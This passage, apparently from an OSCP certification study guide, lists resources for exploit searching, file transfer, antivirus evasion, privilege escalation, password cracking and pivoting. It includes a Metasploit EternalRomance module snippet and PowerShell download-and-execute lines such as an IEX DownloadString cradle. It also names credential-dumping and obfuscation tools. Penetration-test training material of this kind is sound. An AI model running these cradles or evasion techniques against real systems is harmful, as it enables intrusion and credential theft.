&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;searchsploit MS-17-010&lt;/code&gt; finds all cases/exploits linked to MS17-010&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# searchsploit ms17-010
--------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                     |  Path
                                                                                                   | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows - &apos;EternalRomance&apos;/&apos;EternalSynergy&apos;/&apos;EternalChampion&apos; SMB Remote Code Execution  | exploits/windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)                      | exploits/windows/dos/41891.rb
Microsoft Windows Server 2008 R2 (x64) - &apos;SrvOs2FeaToNt&apos; SMB Remote Code Execution (MS17-010)      | exploits/windows_x86-64/remote/41987.py
Microsoft Windows Windows 7/2008 R2 - &apos;EternalBlue&apos; SMB Remote Code Execution (MS17-010)           | exploits/windows/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - &apos;EternalBlue&apos; SMB Remote Code Execution  | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - &apos;EternalBlue&apos; SMB Remote Code Execution (MS17-010) | exploits/windows_x86-64/remote/42030.py
--------------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb&lt;/code&gt;: The -x command switch allows you to examine the exploit code or information about the exploit. You can also upload nmap xml files to Searchsploit so it can find available exploits that match your target.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb

Snippet of the exploit: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings &amp;gt;
#   Local Policies &amp;gt;
#    Security Options &amp;gt;
#     Network Access: Sharing and security model for local accounts

class MetasploitModule &amp;lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      &apos;Name&apos;           =&amp;gt; &apos;MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution&apos;,
      &apos;Description&apos;    =&amp;gt; %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
        
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Play with some of the other command switches that Searchsploit has because it will make it much easier for you to find exploits on your kali box.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Manual for Searchsploit: &lt;a href=&quot;https://www.exploit-db.com/searchsploit&quot;&gt;https://www.exploit-db.com/searchsploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-13-transferring-files-to-your-target&quot;&gt;Section 13: Transferring Files to your target:&lt;/h1&gt;
&lt;p&gt;Depending on the target system you obtain access too you may not have the ability to transfer exploits or other tools you need to that system. With this being said you will need to figure out some techniques to transfer files to and from your target system. Here are a few guides I used to get a better understanding of how to transfer files onto Windows and Linux systems:&lt;/p&gt;

&lt;p&gt;Python Modules to run services to transfer files:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python2 -m SimpleHTTPServer 80&lt;/code&gt; Spins up a webserver in the directory you are located on port 80.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 -m http.server 80&lt;/code&gt; Spins up a python version 3.X web server in the directory you are located on port 80.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python2 -m pyftpdlib -p 21 -w&lt;/code&gt; spins up a FTP server in the directory you are located on port 21 and it allows anonymous login access.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 -m pyftpdlib -p 21 -w&lt;/code&gt; spins up a Python 3.X FTP server in the directory you are located on port 21 and it allows anonymous login access.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Simple HTTP Server with Upload capabilities: &lt;a href=&quot;https://github.com/tjnull/OSCP-Stuff/blob/master/Transferring-Files/HTTPServerWithUpload.py&quot;&gt;https://github.com/tjnull/OSCP-Stuff/blob/master/Transferring-Files/HTTPServerWithUpload.py&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to transfer files on Windows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Powershell: 
Downloading a file from your host: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell (New-Object System.Net.WebClient).DownloadFile(&apos;https://IP Address/update.exe&apos;, &apos;msi-installer.exe&apos;)&lt;/code&gt;
Downloading a file and executing with Invoke-Expression: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell IEX (New-Object System.Net.WebClient).DownloadString(&apos;http://127.0.0.1/msi-installer.exe&apos;)&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;bitsadmin. The tool is a command-line tool that you can use to create download or upload jobs and monitor their progress. You can find examples on how to use the tool here: 
&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples&quot;&gt;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;robocopy: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;certutil: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil&quot;&gt;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Windows 10, Server 2016/2019:&lt;/p&gt;

&lt;p&gt;wget:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget http://127.0.0.1/file.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget -O msi-install.exe http://127.0.0.1/file.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget -b http://127.0.0.1/file.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget --ftp-user=User --ftp-password=ftp://127.0.0.1/file.exe -o msi-install.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Tools/Resources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Updog: &lt;a href=&quot;https://github.com/sc0tfree/updog&quot;&gt;https://github.com/sc0tfree/updog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pwndrop: &lt;a href=&quot;https://github.com/kgretzky/pwndrop&quot;&gt;https://github.com/kgretzky/pwndrop&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Awakened: Transfer files from Kali to the target machine
&lt;a href=&quot;https://awakened1712.github.io/oscp/oscp-transfer-files/&quot;&gt;https://awakened1712.github.io/oscp/oscp-transfer-files/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ropnop Transferring Files from Linux to Windows (post-exploitation):
&lt;a href=&quot;https://blog.ropnop.com/transferring-files-from-kali-to-windows/&quot;&gt;https://blog.ropnop.com/transferring-files-from-kali-to-windows/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-14-antivirus-bypassing&quot;&gt;Section 14: Antivirus Bypassing&lt;/h1&gt;
&lt;p&gt;I did not spend too much time learning about this section since Metasploit encodes it payloads to bypass most anti-virus (well older versions at least). The course is pretty straight forward in this section.&lt;/p&gt;

&lt;p&gt;Tools to play with Anti-Virus evasion:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Veil-Framework: &lt;a href=&quot;https://github.com/Veil-Framework/Veil&quot;&gt;https://github.com/Veil-Framework/Veil&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Shellter: &lt;a href=&quot;https://www.shellterproject.com/&quot;&gt;https://www.shellterproject.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Unicorn &lt;a href=&quot;https://github.com/trustedsec/unicorn&quot;&gt;https://github.com/trustedsec/unicorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;UniByAV: &lt;a href=&quot;https://github.com/Mr-Un1k0d3r/UniByAv&quot;&gt;https://github.com/Mr-Un1k0d3r/UniByAv&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to play with for Obfuscation:&lt;/p&gt;

&lt;p&gt;PowerShell:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Invoke-Obfuscation: &lt;a href=&quot;https://github.com/danielbohannon/Invoke-Obfuscation&quot;&gt;https://github.com/danielbohannon/Invoke-Obfuscation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Chimera: &lt;a href=&quot;https://github.com/tokyoneon/Chimera&quot;&gt;https://github.com/tokyoneon/Chimera&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Python:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Pyarmor: &lt;a href=&quot;https://pypi.org/project/pyarmor/&quot;&gt;https://pypi.org/project/pyarmor/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;PyObfx: &lt;a href=&quot;https://github.com/PyObfx/PyObfx&quot;&gt;https://github.com/PyObfx/PyObfx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;C#:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;ConfuserEx: &lt;a href=&quot;https://github.com/yck1509/ConfuserEx&quot;&gt;https://github.com/yck1509/ConfuserEx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Testing Payloads Publicly. (Keep in mind that submitting your samples to online scanners may be distributed to other AV engines):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Nodistribute: &lt;a href=&quot;https://nodistribute.com&quot;&gt;https://nodistribute.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Virustotal: &lt;a href=&quot;https://www.virustotal.com/gui/home&quot;&gt;https://www.virustotal.com/gui/home&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Hybrid-Analysis: &lt;a href=&quot;https://www.hybrid-analysis.com&quot;&gt;https://www.hybrid-analysis.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Any-Run: &lt;a href=&quot;https://app.any.run&quot;&gt;https://app.any.run&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Reverse.it: &lt;a href=&quot;https://reverse.it&quot;&gt;https://reverse.it&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Anti-Virus Evasion Tool: &lt;a href=&quot;https://github.com/govolution/avet&quot;&gt;https://github.com/govolution/avet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;DefenderCheck: &lt;a href=&quot;https://github.com/matterpreter/DefenderCheck&quot;&gt;https://github.com/matterpreter/DefenderCheck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ThreatCheck: &lt;a href=&quot;https://github.com/rasta-mouse/ThreatCheck&quot;&gt;https://github.com/rasta-mouse/ThreatCheck&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-15-privilege-escalation&quot;&gt;Section 15: Privilege Escalation&lt;/h1&gt;
&lt;p&gt;In this section you will a range of techniques from getting administrative access from a kernel exploit or through a misconfigured service. The possibilities are endless, and make sure you find the ones that will work for you. In order to get an understanding of this section I recommend applying your knowledge through Vulnhub or Hackthebox to improve your skills in this area. I know there are scripts for automating this process but at some points those scripts can miss something very important on your target that you need to escalate your privileges. Something you should keep in mind :D.&lt;br /&gt;
For this section I am going to break into two parts: Windows and Linux Privilege Escalation Techniques.&lt;/p&gt;

&lt;h5 id=&quot;windows-privilege-escalation-guides&quot;&gt;Windows Privilege Escalation Guides:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Fuzzysecurity Windows Privilege Escalation Fundamentals: Shout out to fuzzysec for taking the time to write this because this is an amazing guide that will help you understand Privilege escalation techniques in Windows. 
&lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/16.html&quot;&gt;http://www.fuzzysecurity.com/tutorials/16.html&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pwnwiki Windows Privilege Escalation Commands: 
&lt;a href=&quot;http://pwnwiki.io/#!privesc/windows/index.md&quot;&gt;http://pwnwiki.io/#!privesc/windows/index.md&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Absolomb’s Security Blog: Windows Privilege Escalation Guide
&lt;a href=&quot;https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/&quot;&gt;https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pentest.blog: Windows Privilege Escalation Methods for Pentesters
&lt;a href=&quot;https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/&quot;&gt;https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;PayloadAllTheThings: &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SharpAllTheThings: &lt;a href=&quot;https://github.com/N7WEra/SharpAllTheThings&quot;&gt;https://github.com/N7WEra/SharpAllTheThings&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;LOLBAS (Created by Oddvar Moe): &lt;a href=&quot;https://lolbas-project.github.io/&quot;&gt;https://lolbas-project.github.io/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Windows Privilege Escalation Tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;JAWS (Created by 411Hall): A cool windows enumeration script written in PowerShell. 
&lt;a href=&quot;https://github.com/411Hall/JAWS/commits?author=411Hall&quot;&gt;https://github.com/411Hall/JAWS/commits?author=411Hall&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Windows Exploit Suggester Next Generation: &lt;a href=&quot;https://github.com/bitsadmin/wesng&quot;&gt;https://github.com/bitsadmin/wesng&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sherlock (Created by RastaMouse): Another cool PowerShell script that finds missing software patches for local privilege escalation techniques in Windows. 
&lt;a href=&quot;https://github.com/rasta-mouse/Sherlock&quot;&gt;https://github.com/rasta-mouse/Sherlock&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;WinPeas: &lt;a href=&quot;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS&quot;&gt;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Watson: &lt;a href=&quot;https://github.com/rasta-mouse/Watson&quot;&gt;https://github.com/rasta-mouse/Watson&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Seatbelt: &lt;a href=&quot;https://github.com/GhostPack/Seatbelt&quot;&gt;https://github.com/GhostPack/Seatbelt&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Powerless: &lt;a href=&quot;https://github.com/M4ximuss/Powerless&quot;&gt;https://github.com/M4ximuss/Powerless&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Powerview: &lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon&quot;&gt;https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Token Manipulation:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Rotten Potato: &lt;a href=&quot;https://github.com/breenmachine/RottenPotatoNG&quot;&gt;https://github.com/breenmachine/RottenPotatoNG&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Juicy Potato: &lt;a href=&quot;https://github.com/ohpe/juicy-potato&quot;&gt;https://github.com/ohpe/juicy-potato&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources for Windows Privilege Escalation Techniques: 
&lt;a href=&quot;https://medium.com/@rahmatnurfauzi/windows-privilege-escalation-scripts-techniques-30fa37bd194&quot;&gt;https://medium.com/@rahmatnurfauzi/windows-privilege-escalation-scripts-techniques-30fa37bd194&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Linux Privilege Escalation Guides: 
The only guide I probably ever used to help me understand privilege escalation techniques in Linux systems was from g0tmi1k post. This blog is a must that everyone should have for preparing for the OSCP in my opinion. You can find his guide here: 
&lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;GTFOBins (I have to thank Ippsec for sharing this with me): Contains a curated list of Unix binaries that that have the ability to be exploited by an attacker to bypass local security restrictions on a Linux system.
&lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;https://gtfobins.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PayloadsAllTheThings Linux Priv Esc Guide: 
&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;linux-privilege-escalation-tools&quot;&gt;Linux Privilege Escalation Tools:&lt;/h5&gt;
&lt;p&gt;LinEnum: A great Linux privilege escalation checker that is still maintained by the guys at rebootuser.com. You can find there tool here: 
&lt;a href=&quot;https://github.com/rebootuser/LinEnum&quot;&gt;https://github.com/rebootuser/LinEnum&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Linux Exploit Suggester 2: &lt;a href=&quot;https://github.com/jondonas/linux-exploit-suggester-2&quot;&gt;https://github.com/jondonas/linux-exploit-suggester-2&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;LinPEAS: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS]&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One thing that I will mention is if you want to practice your Linux privilege escalation, I highly recommend you take a look at Lin.Security vulnerable box created by in.security! The box was designed to help people understand how certain applications and service that are misconfigured can be easily abused by an attacker. This box really helped me improved my privilege escalation skills and techniques on Linux systems.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Main Link: &lt;a href=&quot;https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/&quot;&gt;https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Backup: &lt;a href=&quot;https://www.vulnhub.com/entry/linsecurity-1,244/&quot;&gt;https://www.vulnhub.com/entry/linsecurity-1,244/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-16-password-cracking&quot;&gt;Section 16: Password Cracking&lt;/h1&gt;
&lt;p&gt;In this section you need to understand the basics of password attacks. Identify the differences between Windows (NTLM) hashes and Linux hashes. In addition, you will also need to understand the different tools that you can use to conduct online and offline password attacks. Typically online password cracking involves sending attempts to the authentication service; like a web form or terminal service. In offline attacks you will carry out the cracking locally, like using John The Ripper to crack a zip file on your local machine.
Here is a list of resources that I have used that helped me better understand how password cracking works:&lt;/p&gt;

&lt;p&gt;Introduction to Password Cracking: &lt;a href=&quot;https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf&quot;&gt;https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;offline-tools-for-password-cracking&quot;&gt;Offline Tools for Password Cracking:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Hashcat: https://hashcat.net/hashcat/ 
Sample Hashes to test with Hashcat: &lt;a href=&quot;https://hashcat.net/wiki/doku.php?id=example_hashes&quot;&gt;https://hashcat.net/wiki/doku.php?id=example_hashes&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;John the Ripper: https://www.openwall.com/john/&lt;/li&gt;
  &lt;li&gt;Metasploit Unleashed using John the Ripper with Hashdump: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/john-ripper/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/john-ripper/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Online Tools for Password Cracking:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;THC Hydra: &lt;a href=&quot;https://github.com/vanhauser-thc/thc-hydra&quot;&gt;https://github.com/vanhauser-thc/thc-hydra&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Crowbar: &lt;a href=&quot;https://github.com/galkan/crowbar&quot;&gt;https://github.com/galkan/crowbar&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wordlist generators:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Cewl: &lt;a href=&quot;https://digi.ninja/projects/cewl.php&quot;&gt;https://digi.ninja/projects/cewl.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Crunch: &lt;a href=&quot;https://tools.kali.org/password-attacks/crunch&quot;&gt;https://tools.kali.org/password-attacks/crunch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Cupp (In Kali Linux): &lt;a href=&quot;https://github.com/Mebus/cupp&quot;&gt;https://github.com/Mebus/cupp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to check the hash type:&lt;/p&gt;

&lt;p&gt;Hash-Identifier: &lt;a href=&quot;https://github.com/psypanda/hashID&quot;&gt;https://github.com/psypanda/hashID&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tools to dump for hashes:&lt;/p&gt;

&lt;p&gt;Mimikatz: &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz&quot;&gt;https://github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mimipenguin: &lt;a href=&quot;https://github.com/huntergregal/mimipenguin&quot;&gt;https://github.com/huntergregal/mimipenguin&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pypykatz: &lt;a href=&quot;https://github.com/skelsec/pypykatz&quot;&gt;https://github.com/skelsec/pypykatz&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wordlists:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;In Kali: /usr/share/wordlists&lt;/li&gt;
  &lt;li&gt;Seclists: apt-get install seclists 
 You can find all of his password lists here: &lt;a href=&quot;https://github.com/danielmiessler/SecLists/tree/master/Passwords&quot;&gt;https://github.com/danielmiessler/SecLists/tree/master/Passwords&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Xajkep Wordlists: &lt;a href=&quot;https://github.com/xajkep/wordlists&quot;&gt;https://github.com/xajkep/wordlists&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;online-password-crackers&quot;&gt;Online Password Crackers:&lt;/h5&gt;
&lt;p&gt;Confusingly these are also online crackers but these are collections of pre-broken hashes (e.g. wordlists that have been hashed) or computing services that you can use to break hashes. I usually went for these first to see if they had the hash cracked in their database. However, don’t use these online crackers as your main tools for everything. Uploading a hash from an engagement can be a huge risk so make sure you use your offline tools to crack those types of hashes. Here is a list of online hash crackers that I found online that you can use to crack hashes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hashkiller.io/listmanager&quot;&gt;https://hashkiller.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cmd5.org/&quot;&gt;https://www.cmd5.org/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.onlinehashcrack.com/&quot;&gt;https://www.onlinehashcrack.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gpuhash.me/&quot;&gt;https://gpuhash.me/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crackstation.net/&quot;&gt;https://crackstation.net/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://passwordrecovery.io/&quot;&gt;https://passwordrecovery.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://md5decrypt.net/en/&quot;&gt;https://md5decrypt.net/en/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hashes.com/en/decrypt/hash&quot;&gt;https://hashes.com/en/decrypt/hash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cracker.offensive-security.com/&quot;&gt;http://cracker.offensive-security.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources for Password Cracking:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Pwning Wordpress Passwords: &lt;a href=&quot;https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956&quot;&gt;https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-17-port-redirection-and-pivoting&quot;&gt;Section 17: Port Redirection and Pivoting&lt;/h1&gt;
&lt;p&gt;Depending on your scope, some of the machines may not be directly accessible. There are systems out there that are dual homed, which allow you to connect into an internal network. You will need to know some of these techniques in order to obtain access into there non-public networks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Abatchy’s Port Forwarding Guide: &lt;a href=&quot;https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide&quot;&gt;https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Windows Port Forwarding: &lt;a href=&quot;http://woshub.com/port-forwarding-in-windows/&quot;&gt;http://woshub.com/port-forwarding-in-windows/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSH Tunnelling Explained: &lt;a href=&quot;https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/&quot;&gt;https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Understanding Proxy Tunnels: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/proxytunnels/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/proxytunnels/&lt;/a&gt;&lt;/li&gt;
